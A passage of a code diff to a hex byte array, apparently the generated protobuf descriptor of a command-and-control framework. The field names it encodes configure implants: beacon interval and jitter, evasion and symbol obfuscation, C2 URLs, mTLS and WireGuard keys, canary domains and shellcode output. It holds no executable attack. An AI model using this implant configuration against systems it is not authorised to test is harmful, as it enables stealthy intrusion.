0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, + 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, + 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, + 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, + 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, + 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, + 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, + 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, + 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, + 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, + 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, + 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, + 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, + 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, + 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, + 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, + 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, - 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, - 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, - 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, - 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, - 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, - 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, - 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, - 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, - 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, - 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, - 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, - 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, - 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, - 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, - 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, - 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, - 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, - 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, - 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, - 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, - 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, + 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, + 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, + 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, + 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, + 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, + 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, + 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, + 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, + 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, + 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, + 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, + 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, + 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, + 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, + 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, + 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, + 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 